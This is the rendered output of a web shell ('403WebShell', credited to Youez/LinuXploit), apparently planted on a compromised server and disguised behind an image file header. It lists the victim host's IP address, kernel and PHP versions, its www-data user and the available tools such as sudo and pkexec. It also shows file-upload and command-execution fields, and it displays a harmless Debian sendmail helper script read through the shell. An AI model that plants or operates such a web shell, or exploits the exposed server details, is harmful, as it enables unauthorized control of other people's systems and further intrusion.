????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.143.144.95
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/sendmail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/sendmail//update_smrsh
#!/bin/sh -e
#-----------------------------------------------------------------------------
#
# $Sendmail: update_smrsh,v 8.14.4 2019-02-05 18:41:16 cowboy Exp $
#
# Update MDA programs used by Sendmail for Debian
#
# Copyright (c) 2002-2010 Richard Nelson.  All Rights Reserved.
#
# Notes (to all):
#	* The entries in /etc/mail/smrsh are used by the feature(smrsh) and
#	  sensible-mda.
#
# Notes (to self):
#	*
#
#-----------------------------------------------------------------------------
set -e;

# flag used to indicate a dataset has been moved, may need another update
changed=0;
new=1;

def_progs="\
	/usr/lib/sm.bin/mail.local \
	/usr/lib/sm.bin/sensible-mda \
	/usr/bin/vacation \
	/usr/bin/procmail \
	/usr/bin/maildrop \
	/usr/bin/deliver \
	";

# Path to other sendmail helpers
if [ -x ./update_sendmail ]; then
	sm_path='.';
elif [ -x $(dirname $0)/update_sendmail ]; then
	sm_path=$(dirname $0);
else
	sm_path=/usr/share/sendmail;
	fi;
# Bring in sendmail.conf for the network definitions
if [ ! -f /etc/mail/sendmail.conf ]; then
	if [ -x $sm_path/update_conf ]; then
		$sm_path/update_conf;
		fi;
	fi; 
if [ -f /etc/mail/sendmail.conf ]; then
	. /etc/mail/sendmail.conf;
	fi;
if [ "$HANDS_OFF" != 'No' ]; then
	exit 0;
	fi;

echo " ";
echo "Checking for installed MDAs...";

#------------------------------------------------------------------------------
# /etc/mail/smrsh is where the links to MDAs and authorized forwarding progs
if [ ! -e /etc/mail/smrsh ]; then
	changed=1;
	new=1;
	fi;
chown smmta:smmsp /etc/mail/smrsh;
chmod 02755 /etc/mail/smrsh;

#------------------------------------------------------------------------------
# Iterate over the default list of programs and create any missing items
for file in $def_progs; do
	ppath=$(dirname  "$file");
	pname=$(basename "$file");

	# the file doesn't exist, see if we can remove its link
	if [ ! -e $file ]; then

		# let have there own version eh?
		if [ -e /etc/mail/smrsh/$pname ]; then
			true;

		# no, if its a danglink symlink, drop it
		elif [ -L /etc/mail/smrsh/$pname ]; then
			echo "Removing link for no longer extant program ($pname)";
			rm /etc/mail/smrsh/$pname;
			fi;

	# the file exists, see if we need to add its link
	elif [ ! -e /etc/mail/smrsh/$pname ]; then
		echo "Adding link for newly extant program ($pname)";
		ln -sf $file /etc/mail/smrsh/$pname;
		changed=1;
		fi;
	done;

#------------------------------------------------------------------------------
exit $changed;

Youez - 2016 - github.com/yon3zu
LinuXploit